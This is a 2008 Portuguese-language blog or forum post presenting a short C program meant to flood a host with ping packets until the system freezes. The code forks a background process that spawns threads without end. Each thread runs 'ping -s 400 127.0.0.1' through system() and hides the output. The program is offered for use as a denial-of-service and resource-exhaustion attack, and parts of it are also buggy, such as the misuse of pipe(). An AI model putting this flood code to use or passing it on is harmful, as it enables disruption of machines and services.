Vários pacotes de ping disparados contra o host
Publicado por Geraldo José Ferreira Chagas Júnior 14/07/2008
[ Hits: 6.576 ]
Homepage: http://prginfo.blogspot.com
O host responderá a vários pacotes de ping que serão disparados contra eles, sem perceber que assim irá travar o sistema.
Será executado o ping do sistema, que já é um loop infinito, tendo que ser executado em uma thread para não deixar o nosso loop parado esperando seu término. O ping do sistema também retorna uma saída, que não queremos que seja mostrada na tela, tendo assim que ser redirecionada para o pipe.
/* progacao4.c */ #include <stdio.h> #include <stdlib.h> #include <pthread.h> void ping(char *host); /* para usar a função na thread o cabeçalho da função deve estar declarado */ acao() { int return_thread; pthread_t thread; while (1) { return_thread=pthread_create (&thread, NULL, (void *)ping,"ping -s 400 127.0.0.1"); /* criando a thread */ usleep (10); /* já explicado no exemplo 2 */ } } main () /* o main já foi esplicado no exemplo 1 */ { int i; i=fork(); if (i==0) acao(); } void ping (char *host) { int desc; close(1); pipe (desc); /* o pipe já foi esplicado no exemplo 1 */ system (host); /* executa um comando do sistema (ping, ls, rm, mv etc.) */ }
Conciliando o uso da ZRAM e SWAP em disco na sua máquina
Servidor de Backup com Ubuntu Server 24.04 LTS, RAID e Duplicati (Dell PowerEdge T420)
Visualizar câmeras IP ONVIF no Linux sem necessidade de instalar aplicativos
Realizar overclock no Miyoo Mini (plus ou normal)
Otimização de memória para máquinas modestas
linux mint reconhece microfone de lapela como fone de ouvido sem micro... (0)
Dúvidas sobre a originalidade de conteúdos online (10)
Erro de interface de Rede no Virt Manager dentro Debian 13 KDE (12)
Monitoramento pfsense com zabbix (3)
Google Crhome não abre desde que eu atualizei pelo "program... (13)